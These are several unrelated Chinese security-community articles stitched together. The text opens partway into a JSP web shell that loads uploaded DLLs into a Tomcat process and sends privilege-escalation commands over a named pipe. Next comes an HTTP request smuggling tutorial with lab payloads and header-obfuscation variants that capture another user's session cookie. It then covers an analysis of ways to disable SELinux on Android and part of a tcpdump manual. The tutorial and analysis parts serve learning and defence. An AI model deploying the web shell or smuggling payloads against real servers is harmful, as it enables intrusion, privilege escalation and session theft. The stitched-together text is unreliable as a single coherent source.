java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
//</jsp:declaration>
%>
<%
String pipeName = "\\\\.\\pipe\\josPipe";
try{
String method = request.getHeader("WWW-Authenticate");
if(method == null){
out.println("Start");
return;
}
if (method.equals("load")){
ServletInputStream stream = request.getInputStream();
String file = UploadBase64DLL(stream);
RuntimeLoad(file);
}else if (method.equals("dump")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x02);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("process")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x00);
pipe.write(request.getHeader("Content-Method").getBytes());
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("user")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x03);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("code")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x01);
pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x04);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system-run")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x05);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system-code")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x07);
pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
pipe.close();
}else if (method.equals("system-uncode")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x08);
pipe.close();
}
}catch (Exception e){
System.out.println(e.toString());
}
%>
`java.io.RandomAccessFile`可以读写命令管道，通过修改Header头`WWW-Authenticate`来控制不同的功能，每个功能都有一个16进制的编号，剩余的Body内容将会被放到其他内存区域，以供功能函数调用读取，如此以来解决了每个请求都可以执行不同功能的问题，只发送一次DLL就可以将DLL模块打入Tomcat/Java进程的内存中执行，并且利用管道读写的特性也能够实现数据的回显，这个已经在示例代码中体现出来了。
SERVICE提权到SYSTEM权限并执行任意代码的流程示例图如下：
公开的DLL模块代码：<https://github.com/Rvn0xsy/j2osWin>
演示视频：暂无。
* * * | 社区文章 |
## 漏洞成因
### keep-alive 与 pipeline
为了缓解源站的压力，一般会在用户和后端服务器（源站）之间加设前置服务器，用以缓存、简单校验、负载均衡等，而前置服务器与后端服务器往往是在可靠的网络域中，ip
也是相对固定的，所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了 HTTP1.1 中的 `Keep-Alive` 和
`Pipeline` 特性：
> 所谓 Keep-Alive，就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive，告诉服务器，接收完这次 HTTP
> 请求后，不要关闭 TCP 链接，后面对相同目标服务器的 HTTP 请求，重用这一个 TCP 链接，这样只需要进行一次 TCP
> 握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。
>
> 有了 Keep-Alive 之后，后续就有了 Pipeline，在这里呢，客户端可以像流水线一样发送自己的 HTTP
> 请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循 **先入先出**
> 机制，将请求和响应严格对应起来，再将响应发送给客户端。现如今，浏览器默认是不启用 Pipeline 的，但是一般的服务器都提供了对 Pipleline
> 的支持。
在正常情况下用户发出的 HTTP 请求的流动如下图：
在整个过程中，最关键的是 **前置服务器和后端服务器应当在 HTTP 请求的边界划分上达成一致** ，否则就会导致下图所示的异常：
> 当我们向代理服务器发送一个比较 **模糊** 的 HTTP 请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个 HTTP
> 请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了
> HTTP 走私攻击。
那么如何让 HTTP 请求变得“模糊”呢？长度！
### CL 与 TE
CL 和 TE 即是 `Content-Length` 和 `Transfer-Encoding`
请求头（严格来讲前者是个实体头，为了方便就都用请求头代指）。这里比较有趣的是 `Transfer-Encoding`（HTTP/2
中不再支持），指定用于传输请求主体的编码方式，可以用的值有 chunked/compress/deflate/gzip/identity ，完整的定义在
[Transfer-Encoding#Directives](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives) 和
[rfc2616#section-3.6](https://tools.ietf.org/html/rfc2616#section-3.6)，这里我们只关注
`chunked` 。
> `chunked`: Data is sent in a series of chunks. The Content-Length header is
> omitted in this case and at the beginning of each chunk you need to add the
> length of the current chunk in hexadecimal format, followed by '\r\n' and
> then the chunk itself, followed by another '\r\n'. The terminating chunk is
> a regular chunk, with the exception that its length is zero. It is followed
> by the trailer, which consists of a (possibly empty) sequence of entity
> header fields.
设置了 `Transfer-Encoding: chunked` 后，请求主体按一系列块的形式发送，并将省略 `Content-Length`。在每个块的开头需要用十六进制数指明当前块的长度，数值后接 `\r\n`（占 2 字节），然后是块的内容，再接 `\r\n`
表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
例如：
POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
6
hahaha
0
[空白行]
[空白行]
这里我想啰嗦一句，有的文章为了提醒读者 `\r\n` 的存在，就写成了如下形式：
POST / HTTP/1.1\r\n
Host: 1.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Transfer-Encoding: chunked\r\n
\r\n
b\r\n
q=smuggling\r\n
6\r\n
hahaha\r\n
0\r\n
\r\n
作为我们工地的抬杠冠军，我觉得这样表述不太严谨。刚开始学习的时候看上面这种就误以为 `\r\n` 之后再接一次
CRLF，所以怎么都算不对长度（菜到流泪）.....所以要显式写出 `\r\n` 的话，应该写作
POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n
害，反正长度算不清楚的时候去 Burp 里看 Hex 模式就好了，`\r\n` 是 `0d 0a`。
在计算长度时有一些需要注意的原则：
1. `Content-Length` 需要将 **请求主体中的 \r\n** 所占的 2 字节计算在内，而块长度要忽略块内容末尾表示终止的 `\r\n`
2. 请求头与请求主体之间有一个空行，是规范要求的结构，并不计入 `Content-Length`
至此，可以看到有两种方式用来表示 HTTP 请求的内容长度： `Content-Length` 和 `Transfer-Encoding`
。为了避免歧义，[rfc2616#section-4.4](https://tools.ietf.org/html/rfc2616#section-4.4)
中规定当这两个同时出现时，`Content-Length` 将被忽略。
> 3.If a Content-Length header field ([section
> 14.13](https://tools.ietf.org/html/rfc2616#section-14.13)) is present, its
> decimal value in OCTETs represents both the entity-length and the transfer-> length. The Content-Length header field MUST NOT be sent if these two
> lengths are different (i.e., if a Transfer-Encoding header field is
> present). **If a message is received with both a Transfer-Encoding header
> field and a Content-Length header field, the latter MUST be ignored**.
设立规范的老师傅们考虑的很周到，但不是所有的 Web
服务器（中间件）都严格遵守规范，就会导致不同的服务器在请求的边界划分上产生分歧，从而导致了请求走私漏洞。比如：
1. CL-TE：前置服务器认为 `Content-Length` 优先级更高（或者根本就不支持 `Transfer-Encoding` ） ，后端认为 `Transfer-Encoding` 优先级更高
2. TE-CL：前置服务器认为 `Transfer-Encoding` 优先级更高，后端认为 `Content-Length` 优先级更高（或者不支持 `Transfer-Encoding` ）
3. TE-TE：前置和后端服务器都支持 `Transfer-Encoding`，但可以通过混淆让它们在处理时产生分歧
## 走私方式
### CL-TE
> 实验：<https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>
前置服务器认为 `Content-Length` 优先级更高（或者根本就不支持 `Transfer-Encoding` ） ，后端认为 `Transfer-Encoding` 优先级更高。
举个栗子，假如发送的请求如下：
POST / HTTP/1.1
Host: 1.com
Content-Length: 6
Transfer-Encoding: chunked
0
A
前置服务器根据 `Content-Length: 6` 判断出这是一个完整的请求，于是整体转发到后端服务器，但后端根据 `Transfer-Encoding: chunked` 将请求主体截断到 `0\r\n\r\n` 并认为一个完整的请求结束了，最后剩下的 A
就被认为是下一个请求的一部分，留在缓冲区中等待剩余的请求。如果此时其他用户此时发送了一个 GET 请求，就会与 A 拼接成一个畸形的
AGET，造成服务器解析异常：
AGET / HTTP/1.1
Host: 1.com
....
### TE-CL
> 实验：<https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>
TE-CL：前置服务器认为 `Transfer-Encoding` 优先级更高，后端认为 `Content-Length` 优先级更高（或者不支持
`Transfer-Encoding` ）。
以如下请求为例：
POST / HTTP/1.1
Host: ac7f1f821ea8d83280cc5eda009200f6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
17
POST /rook1e HTTP/1.1
0
[空白行]
[空白行]
前置服务器将其分块传输，其实就一个长度为 17 的块 `POST /rook1e HTTP/1.1\r\n`，但后端服务器根据 `Content-Length: 4` 截取到 `17\r\n` 即认为是一个完整的请求，剩下的留在缓冲区中等待剩余内容，若此时由用户发送了一个 GET，即被拼接成了一个
POST /rook1e 走私请求。
POST /rook1e HTTP/1.1
0
GET / HTTP/1.1
....
连发两次包，可以发现后端服务器找不到 /rook1e 而返回 404。
### TE-TE
> 实验：<https://portswigger.net/web-security/request-smuggling/lab-ofuscating-> te-header>
TE-TE：前置和后端服务器都支持 `Transfer-Encoding`，但可以通过混淆让它们在处理时产生分歧，其实也就是变成了 CL-TE 或 TE-CL。
比如如下请求，前置和后端服务器可能对 TE 这个不规范的请求头的处理产生分歧：
POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding[空格]: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
[空白行]
[空白行]
PortSwigger 给出了一些可用于混淆的 payload：
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
### 其他
以上是 PortSwigger 列举的攻击方式，另外还有 @Regilero 大佬的更多姿势：
* <https://regilero.github.io/english/security/2018/07/03/security_pound_http_smuggling/#toc3>
* <https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4>
* <https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc7>
## 漏洞利用
PortSwigger 举了一些栗子，懂了上面说的三个走私方式基本就会了：
* 绕过前置服务器的安全限制
* 获取前置服务器修改过的请求字段
* 获取其他用户的请求
* 反射型 XSS 组合拳
* 将 on-site 重定向变为开放式重定向
* 缓存投毒
* 缓存欺骗
其中有的利用条件是很苛刻的，师傅们已经讲的很清楚了，我就不重复了。实验环境在 [Exploiting HTTP request smuggling
vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)，师傅们的分析在 <https://paper.seebug.org/1048/#5> 和
<https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/#Attack-Surface>
，油管一小哥制作的视频演示
<https://www.youtube.com/playlist?list=PL0W_QjMcqdSA64v56rOlTpGoIgc504Hb4> 。
## 实例分析
用一个实验环境来分析：[通过 HTTP 请求走私获取其他用户的请求内容（Exploiting HTTP request smuggling to
capture other users' requests）](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests) 。
已知可用 `CL-TE` 方式，comment 的内容会显示在网页上，所以攻击者可以尝试走私一个发布评论的请求：
POST / HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: session=dqEjUlzKqlWzKEqYGZjHHnxopBVwXE83
csrf=w5OK3MzGFJFmISARVohtuyl2WCxYQRgG&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=a
前置服务器通过 `Content-Length` 判断这是一个完整的请求，于是全部发到后端服务器。后端识别 `Transfer-Encoding:
chunked` 并截取到 `0\r\n\r\n` 的位置：
POST / HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
Transfer-Encoding: chunked
0
[空白行]
[空白行]
认为这是一个完整的请求，进而交由后端应用处理并响应。
此时缓冲区中还剩下的内容是一个发布评论的请求：
POST /post/comment HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: session=dqEjUlzKqlWzKEqYGZjHHnxopBVwXE83
csrf=w5OK3MzGFJFmISARVohtuyl2WCxYQRgG&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=a
被认为是下一次请求的一部分，于是继续等待剩余请求内容。如果此时有 A 用户发出请求，A 的请求会被拼接到缓冲区已有内容的末尾形成一个完整的请求。也就是说 A
用户的请求被拼接成了如下，作为 comment 的值被后端应用处理了。
POST /post/comment HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: session=dqEjUlzKqlWzKEqYGZjHHnxopBVwXE83
csrf=w5OK3MzGFJFmISARVohtuyl2WCxYQRgG&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=aGET / HTTP/1.1
Host: ace31f621e3458058060015600db0052.web-security-academy.net
Cookie: session=Aut2OpgUu5CETZx284akOcSqrJ5UNlqI
....
这样我们就可以在网页上显示 comment 内容的地方看到用户 A 的 HTTP 请求，获取 Cookie 等敏感数据。
这个实验在复现时需要一点运气，后台模拟的受害者不一定什么时候会访问到，而且还要多次试验调整 CL 长度来包含完整的 Cookie。注意 CL
要一点一点加，我是从 400 开始每次加 100，到 700 时出现了未知错误，于是减到 660，出现了一部分 session 内容，再以我自己的
session 长度为标准加到 665，正好包含全部 session 值。
## 防御
> * 禁用代理服务器与后端服务器之间的 TCP 连接重用
> * 使用 HTTP/2 协议
> * 前后端使用相同的服务器
>
>
> 以上的措施有的不能从根本上解决问题，而且有着很多不足，就比如禁用代理服务器和后端服务器之间的 TCP 连接重用，会增大后端服务器的压力。使用
> HTTP/2 在现在的网络条件下根本无法推广使用，哪怕支持 HTTP/2 协议的服务器也会兼容 HTTP/1.1。从本质上来说，HTTP
> 请求走私出现的原因并不是协议设计的问题，而是不同服务器实现的问题，个人认为最好的解决方案就是严格的实现 RFC7230-7235
> 中所规定的的标准，但这也是最难做到的。
对于 HTTP/2 能避免请求走私的原理，根据 @ZeddYu
师傅的[描述](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/#Defence)，我去查了一下[HTTP/2
简介](https://developers.google.com/web/fundamentals/performance/http2)，总结一下，HTTP/1.1
的一些特性为请求走私创造了条件：
1. 纯文本，以换行符作为分隔符
2. 序列和阻塞机制
而在 HTTP/2 中已经没有了产生请求走私的机会：
1. 使用 **二进制编码** 且分割为更小的传输单位（帧，拥有编号， **可乱序传输** ）
2. **同一个来源的所有通信都在一个 TCP 连接上完成** ，此连接可以承载任意数量的双向数据流
> With the new binary framing mechanism in place, HTTP/2 no longer needs
> multiple TCP connections to multiplex streams in parallel; each stream is
> split into many frames, which can be interleaved and prioritized. As a
> result, all HTTP/2 connections are persistent, and only one connection per
> origin is required, which offers numerous performance benefits.
## 后记
啰啰嗦嗦的写完了，其实已经有师傅发过很全面的总结了，本文的目的是填一下自己学习过程中遇到的坑（比如长度计算、pipeline 等），希望读者能通过本文对
HTTP 请求走私有一个基础的认识。
本文是站在师傅们的肩膀上完成的，并且非常感谢 [@ZeddYu](https://xz.aliyun.com/u/12624) 师傅的邮件答疑，给大佬递茶。
相关资料：
* [Smuggling](https://regilero.github.io/tag/Smuggling/)
* [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/)
* [协议层的攻击——HTTP请求走私](https://paper.seebug.org/1048/)
* [HTTP Desync Attacks: Request Smuggling Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
* [Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
* [HTTP pipelining](https://en.wikipedia.org/wiki/HTTP_pipelining)
* [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2) | 社区文章 |
# 无恒实验室|深入分析SEAndroid中的安全风险与关闭姿势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
SEAndroid是Google在Android系统上应用的一套以SELinux为基础核心的系统安全机制(下统称SElinux)。其最早发布于Android
4.3， 经过多年的发展， 目前已经成为了Android用户态安全的重要保障。
无恒实验室在近期的安全研究中，对于SELinux的攻击面和攻击方法有一些研究成果，特此分享给大家，希望与业内进行学习交流。
SELinux（Security-Enhanced Linux）
是美国国家安全局（NSA）主导开发的Linux内核安全模块，为内核提供了强制访问控制（MAC），项目于2000年发布到开源社区，并于2003年集成到上游
Linux 内核中。「所以说优秀的安全机制就是公开所有细节，依旧可以让攻击者束手无策 :)」
Linux默认的访问控制策略是 自主访问控制（DAC，可以通过下面两张图来直观了解一下DAC与MAC的区别：
（图片源自
[https://blog.csdn.net/headwind_/article/details/119704755）](https://blog.csdn.net/headwind_/article/details/119704755%EF%BC%89)
在DAC 中，对象的拥有者可以任意修改或授予此对象相应的权限，且进程理论上所拥有的权限与执行它的用户的权限相同；
这导致如果一个以root权限运行的进程被攻破， 攻击者就可以借此在系统中畅行无阻。
而在MAC 中， 为所有进程和文件都设置了安全上下文， 当用户执行某项操作时， 除了要通过DAC 的检查， 还需要符合MAC中制定的规则；
因此即便是root进程，其权限也会被限制在特定范围内，这虽然不能完全防御攻击，但可以将损失降到最低。
## 二、SElinux的实现
SElinux的实现依赖于Linux内核的安全模块框架（LSM），当内核对用户态访问做处理时，LPM会在
DAC检查之后预留钩子函数，SElinux就是通过此接口来实现MAC；因此Android平台权限是DAC+MAC，即两个权限管理独立存在，操作行为必须同时通过两种机制的检验才会被允许。
（[https://www.kernel.org/doc/ols/2002/ols2002-pages-604-617.pdf）](https://www.kernel.org/doc/ols/2002/ols2002-pages-604-617.pdf%EF%BC%89)
## 三、基本元素
### 3.1 标签
SElinux是一个基于标签的系统，所有的进程，文件，socket等都有标签。标签是一个四元组字符串user:role:type:level，其中我们主要关注的是type。
在 Android系统中，所有对象大致可以分为两类：
* 一种是死的（文件、端口、系统属性等被调用对象），例如：u:object_r:proc:s0
* 一种是活的（进程、App等调用资源的对象），例如：u:r:vendor_init:s0
查看标签的方法就是在常用命令后面加上-Z，如下：
进程 ps -ZA
u:r:vendor_init:s0 root 545 1 6728 2376 poll_sche+ 0 S init
u:r:zygote:s0 root 678 1 4308756 142888 poll_sche+ 0 S zygote64
文件 ls -lZ
drwxr-x--- 2 root shell u:object_r:rootfs:s0 4096 2009-01-01 00:00 sbin
drwxr-xr-x 18 root root u:object_r:vendor_file:s0 4096 2009-01-01 00:00 vendor
属性 getprop -Z
[DEVICE_PROVISIONED]: [u:object_r:default_prop:s0]
[aaudio.hw_burst_min_usec]: [u:object_r:exported_default_prop:s0]
### 3.2 规则
有了标签之后，还需要编写规则 来限制标签， 根据SELinux规范，完整的规则相关的语句格式为：rule_name source_type
target_type:class perm_set
* rule_name 规则名
* allow ： 允许主体对客体进行操作
* neverallow ：拒绝主体对客体进行操作
* dontaudit ： 表示不记录某条违反规则的决策信息
* auditallow ：记录某项决策信息，通常 SElinux 只记录失败的信息，应用这条规则后会记录成功的决策信息
* source_type 主体
* Domain：一个进程或一组进程的标签。也称为域类型
* target_type 客体
* Type：一个对象（例如，文件、套接字）或一组对象的标签
* class 类别
* 要访问的对象的类型，例如文件、套接字等
* 在system/sepolicy/private/security_classes中被定义
* perm_set 动作集
* 要执行的操作，例如读取、写入等
* 在system/sepolicy/private/access_vectors中被定义
下面结合例子说明一下：
# 允许user域中的进程 读取 script标签中的file类型文件
allow user script:file {read};
# 不允许user域中的进程 写入 script标签中的file类型文件
neverallow user script:file {write};
### 3.3 配置文件
SElinux编译后的标签和规则等文件会保存在每个分区的etc/selinux目录下：
$ls -l system/etc/selinux
drwxrwxr-x 2 root root 4096 12月 9 15:53 mapping/
-rw-rw-r-- 1 root root 40561 12月 10 15:56 plat_file_contexts
-rw-rw-r-- 1 root root 8614 12月 10 15:56 plat_hwservice_contexts
-rw-rw-r-- 1 root root 7243 12月 9 15:53 plat_mac_permissions.xml
-rw-rw-r-- 1 root root 48646 12月 10 15:56 plat_property_contexts
-rw-rw-r-- 1 root root 1905 12月 10 15:56 plat_seapp_contexts
-rw-rw-r-- 1 root root 65 12月 10 15:55 plat_sepolicy_and_mapping.sha256
-rw-rw-r-- 1 root root 1623615 12月 10 15:55 plat_sepolicy.cil
-rw-rw-r-- 1 root root 19798 12月 10 15:56 plat_service_contexts
-rw-rw-r-- 1 root root 818418 12月 10 15:55 sepolicy_neverallows
其中 plat_sepolicy.cil中记录的是SElinux规则， plat_sepolicy_and_mapping.sha256为校验文件，
其余的文件中记录的都是标签数据。
## 四、SEAndroid安全风险
SElinux通过最大限度地限制系统中服务进程可访问的资源，以达到收敛攻击面，减小损失的目的；但其也不是万能的，开发遗留的调试接口、内核漏洞、错误的策略配置等问题都可能导致攻击者绕过SELinux的限制攻击系统。
### 4.1 自定义后门
所谓“敌在本能寺”， 有些厂商在开发时为了方便调试， 会预留关闭SElinux的后门接口， 如果这类后门在正式发布前没有删除，
就有可能被攻击者利用来关闭SElinux。
### 4.2 内核漏洞
SElinux主要限制用户态的操作，如果攻击者通过内核漏洞获得任意地址读写的能力，就可以通过覆写全局变量selinux_enforcing的方式将SElinux关闭。
为此，三星使用自研的RKP(Real-time Kernel Protection)机制，将敏感的全局变量放置在受保护的kdp_ro节
，一定程度上缓解了此类攻击。
### 4.3 策略过于宽泛
SELinux中同样存在人引入的问题，如果将敏感服务 开放给普通用户，或者对System
APP、Property的权限划分不细致，就会导致受到攻击时的影响范围被扩大。
### 4.4 服务功能与SElinux策略不对齐
在Android系统中有些区域需要频繁的写入各类数据，如 /data/local/tmp、/sdcard等，因此SElinux不会对这些位置做严格的限制，
普通用户权限就可以读写其中的数据。
原则上这些目录是不可以存放敏感数据的，如果研发人员将一些重要文件保存在这些目录下（如配置文件、隐私信息、升级固件等），就会存在被攻击者窃取篡改的风险。
## 五、SEAndroid关闭方式
上面介绍的都是在运行时绕过SElinux的方式，但在日常工作中还存在这样一种场景，我们需要在一台已解锁的Android设备上获取Root权限来进行测试；目前高版本Android
上有一些优秀的Root工具，例如Magisk、KernelSU等，但使用自动化工具终究是无法了解底层原理，
如果要手动ROOT设备，关闭SElinux就是十分关键的一步， 下面来介绍几种手动关闭SElinux的方法。
### 5.1 Patch Boot
下载Android设备对应的全量Rom包，解开Boot分区后可以发现其布局如下
header # 内核运行参数 & 其他信息
kernel # Linux 内核
ramdisk.cpio # boot分区
header 的结构如下， 其中cmdline 会传递给内核作为启动参数，
因此我们可以通过修改cmdline的方式，传入关闭SElinux的命令enforcing=0 androidboot.selinux=permissive。
cmdline=
os_version=12.0.0
os_patch_level=2021-12
不过在高版本Android系统中，很多厂商不再解析cmdline，通用性较差。
### 5.2 Patch Init
init是Linux Kernel启动后运行的第一个用户态进程，其功能主要是完成初始化、解析执行init.rc 中定义的各种服务， 过程主要分为四个步骤：
FirstStateMain->SetupSelinux->SecondStageMain->ueventd_main
其中SetupSelinux阶段的关键函数如下：
* · LoadSelinuxPolicy：加载sepolicy策略
* · selinux_android_restorecon：重载sepolicy策略
* · SelinuxSetEnforcement：设置SElinux开关
显然关键在于SelinuxSetEnforcement函数，其内部实现如下。
void SelinuxSetEnforcement() {
bool kernel_enforcing = (security_getenforce() == 1);
bool is_enforcing = IsEnforcing();
if (kernel_enforcing != is_enforcing) {
if (security_setenforce(is_enforcing)) {
PLOG(FATAL) << "security_setenforce(" << (is_enforcing ? "true" : "false")
<< ") failed";
}
}
if (auto result = WriteFile("/sys/fs/selinux/checkreqprot", "0"); !result.ok()) {
LOG(FATAL) << "Unable to write to /sys/fs/selinux/checkreqprot: " << result.error();
}
}
bool IsEnforcing() {
if (ALLOW_PERMISSIVE_SELINUX) {
return StatusFromProperty() == SELINUX_ENFORCING;
}
return true;
}
这里只需要Patch IsEnforcing 使其永远返回False即可在init阶段关闭Selinux。
### 5.3 重编译Kernel
依据GPL 协议，厂商会开源修改的Linux Kernel，因此可以通过重编译内核的方式， 在编译时关闭SElinux。
具体方式为在内核配置文件.config中设置 CONFIG_SECURITY_SELINUX=n。
### 5.4 Patch Kernel
如果厂商未开源内核，或者开源不彻底无法正常编译，也可以通过Patch的方式绕过SElinux。
这里以文件打开操作 open为例，梳理SElinux的相关调用链
（图片源自
[https://blog.csdn.net/bruk_spp/article/details/107283935）](https://blog.csdn.net/bruk_spp/article/details/107283935%EF%BC%89)
当用户空间调用open 打开文件时，会触发系统调用 do_dentry_open ，接着调用Linux LSM公共接口security_file_open
，之后会走到SElinux处理open操作的函数selinux_file_open， 下一步SElinux会调用avc公共函数
来实现权限检查和日志审计功能，如果发现操作越权，则会调用avc_denied来阻止该行为。
因此我们只需要将阻止操作的相关逻辑 Patch掉，就能够变相关闭 SElinux。
## 六、总结
总的来说，SElinux的引入极大的降低了针对用户态攻击所造成的损失, 即便通过漏洞获取了Root权限,
也会被限制在影响相对小的范围内。近年来，随着众多软硬件防护机制的引入，Android的安全性有了显著的提升；通过优秀的，可公开的安全机制来收敛攻击面，提升安全水位，这也是我们国产操作系统学习的榜样和努力实现的目标。
## 七、关于无恒实验室
无恒实验室是由字节跳动资深安全研究人员组成的专业攻防实验室，致力于为字节跳动旗下产品与业务保驾护航。通过漏洞挖掘、实战演练、黑产打击、应急响应等手段，不断提升公司基础安全、业务安全水位。无恒实验室亦极为重视开源软件与系统对业务安全的影响，在检测公司引入的开源框架和系统的同时，无恒实验室也着力于构建第三方框架和组件的漏洞缓解机制，并将持续与业界共享研究成果，协助企业业务避免遭受安全风险，亦望能与业内同行共同合作，为网络安全行业的发展做出贡献。
> 参考：
>
> * <https://source.android.com/security/selinux>
> | 社区文章 |
# TcpDump使用手册
|
##### 译文声明
本文是翻译文章，文章来源：http://drops.wooyun.org/
原文地址：<http://drops.wooyun.org/运维安全/8885>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 Tcpdump简介**
1.tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump
是一个在BSD许可证下发布的自由软件。
2.tcpdump是非常强大的网络安全分析工具，可以将网络上截获的数据包保存到文件以备分析。可以定义过滤规则，只截获感兴趣的数据包，以减少输出文件大小和数据包分析时的装载和处理时间。
3.tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX
等等。在这些系统中，tcpdump
需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap。
**0x02 Tcpdump用途**
tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。
也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump
分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。
有很多用户喜欢使用柏克莱数据包过滤器来限制 tcpdump 产生的数据包数量，这样BPF会只把“感兴趣”的数据包到上层软件，可以避免从操作系统
内核向用户态复制其他数据包，降低抓包的CPU的负担以及所需的缓冲区空间，从而减少丢包率。
注:这篇文章只涉及tcpdump的基本用法，请记住tcpdump比我描述的强大的多!
**0x03 Tcpdump的安装**
做好编译源程序前的准备活动
1.网上下载获得libpcap和tcpdump
> http://www.tcpdump.org/
> 2.安装c编译所需包：apt-get install build-essential
> 3.安装 libpcap的前置：apt-get install flex,apt-get install bison
4.安装libpcap。
tcpdump的使用必须有这库。
> tar xvfz libpcap-1.7.3.tar.gz //解压
进入解压之后的文件目录
运行./configure //生成makefile文件`
make //进行编译
make install //安装 库文件默认安装在目录 /usr/lib,头文件默认安装在 /usr/include
5.安装tcpdump
> tar xvfz tcpdump.4.7.4.tar.gz //解压
进入解压之后的文件目录，运行
./configure //生成makefile文件
make //进行编译
make install //安装 库文件默认安装在目录 /usr/lib,头文件默认安装在 /usr/include
测试是否成功安装：命令行输入 tcpdump有网络信息显示！！
Usage: tcpdump [-aAbdDefhHIJKlLnNOpqRStuUvxX#] [ -B size ] [ -c count ]
[ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ]
